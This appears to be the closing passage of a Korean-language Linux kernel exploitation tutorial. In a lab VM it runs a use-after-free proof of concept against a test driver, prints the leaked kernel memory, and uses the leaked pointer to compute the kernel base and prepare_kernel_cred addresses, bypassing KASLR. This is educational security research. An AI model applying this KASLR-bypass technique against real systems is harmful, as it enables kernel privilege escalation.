lazenca0x0@ubuntu:~$ sudo reboot $ ssh lazenca0x0@192.168.0.13 lazenca0x0@192.168.0.13's password: lazenca0x0@ubuntu:~/Exploit/uaf$ sudo rmmod chardev lazenca0x0@ubuntu:~/Exploit/uaf$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Exploit/uaf$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Exploit/uaf$ ./PoC-3 01 54 00 00 01 00 00 00 00 00 00 00 00 00 00 00 | T 00 be 00 35 00 88 ff ff c0 2c a7 a9 ff ff ff ff | �5����,������ 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 38 9c 63 39 00 88 ff ff | 8�c9��� 38 9c 63 39 00 88 ff ff 48 9c 63 39 00 88 ff ff | 8�c9���H�c9��� 48 9c 63 39 00 88 ff ff 50 16 08 3a 00 88 ff ff | H�c9���P:��� 01 00 00 00 00 00 00 00 68 9c 63 39 00 88 ff ff | h�c9��� 68 9c 63 39 00 88 ff ff 00 00 00 00 00 00 00 00 | h�c9��� 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 | 90 9c 63 39 00 88 ff ff 90 9c 63 39 00 88 ff ff | ��c9�����c9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 00 00 00 00 00 00 00 b8 9c 63 39 00 88 ff ff | ��c9��� b8 9c 63 39 00 88 ff ff 00 00 00 00 00 00 00 00 | ��c9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | e0 9c 63 39 00 88 ff ff e0 9c 63 39 00 88 ff ff | ��c9�����c9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 00 00 00 00 00 00 00 08 9d 63 39 00 88 ff ff | �c9��� 08 9d 63 39 00 88 ff ff 00 00 00 00 00 00 00 00 |�c9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 bf 00 00 00 00 00 00 00 | � 00 03 1c 7f 15 04 00 01 00 11 13 1a 00 12 0f 17 | 16 00 00 00 00 96 00 00 00 96 00 00 00 00 00 00 | �� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 70 74 6d 34 00 00 00 00 00 00 00 00 00 00 00 00 | ptm4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 08 01 00 00 00 00 00 01 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 a0 63 39 00 88 ff ff | �c9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 38 9e 63 39 00 88 ff ff | 8�c9��� 38 9e 63 39 00 88 ff ff 00 00 00 00 00 00 00 00 | 8�c9��� 50 9e 63 39 00 88 ff ff 50 9e 63 39 00 88 ff ff | P�c9���P�c9��� e0 ff ff ff 0f 00 00 00 68 9e 63 39 00 88 ff ff | ����h�c9��� 68 9e 63 39 00 88 ff ff 50 96 4e a9 ff ff ff ff | h�c9���P�N����� 00 20 e0 00 00 c9 ff ff 98 5c 57 3b 00 88 ff ff | �����\W;��� 30 a9 a0 39 00 88 ff ff 30 a9 a0 39 00 88 ff ff | 0��9���0��9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 e0 ff ff ff 0f 00 00 00 | ���� c0 9e 63 39 00 88 ff ff c0 9e 63 39 00 88 ff ff | ��c9�����c9��� d0 b6 4e a9 ff ff ff ff 00 56 99 37 00 88 ff 00 | жN�����V�7�� lazenca0x0@ubuntu:~/Exploit/uaf$
앞에서 확인한 offset 값들을 이용하여 커널의 기본 주소와 prepare_kernel_cred() 함수의 주소를 알 수 있습니다.
취약성을 통해 유출된 커널의 주소(0xffffffffa9a72cc0) - 유출된 주소에서 커널의 기본주소 까지의 offset(0xa72cc0) = 0xffffffffa9000000
커널의 기본주소(0xffffffffa9000000) + prepare_kernel_cred함수의 offset(0xa2890) = 0xffffffffa90a2890
- 다음과 같이 취약성을 통해 계산된 prepare_kernel_cred함수의 주소 값이 실제 주소와 동일하다는 것을 알 수 있습니다.
lazenca0x0@ubuntu:~/Exploit/uaf$ gdb -q gdb-peda$ p 0xffffffffa9a72cc0 - 0xa72cc0 $1 = 0xffffffffa9000000 gdb-peda$ p 0xffffffffa9000000 + 0xa2890 $2 = 0xffffffffa90a2890 gdb-peda$ quit lazenca0x0@ubuntu:~/Exploit/uaf$ sudo cat /proc/kallsyms |grep prepare_kernel_cred ffffffffa90a2890 T prepare_kernel_cred ffffffffa9d881d0 R __ksymtab_prepare_kernel_cred ffffffffa9da35b0 r __kcrctab_prepare_kernel_cred ffffffffa9db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~/Exploit/uaf$
References
- https://www.kernel.org/doc/html/v4.18/security/self-protection.html#kernel-address-space-layout-randomization-kaslr
- https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
- https://github.com/jonoberheide/ksymhunter
- https://lwn.net/Articles/569635/
- https://www.theiphonewiki.com/wiki/Kernel_ASLR
- https://grsecurity.net/kaslr_an_exercise_in_cargo_cult_security.php
- https://wiki.ubuntu.com/Security/Features
- https://ubuntu.com/blog/national-cyber-security-centre-publish-ubuntu-18-04-lts-security-guide
- https://cybersecurityprofession.uk/2018/09/15/new-security-features-in-ubuntu-18-04-lts/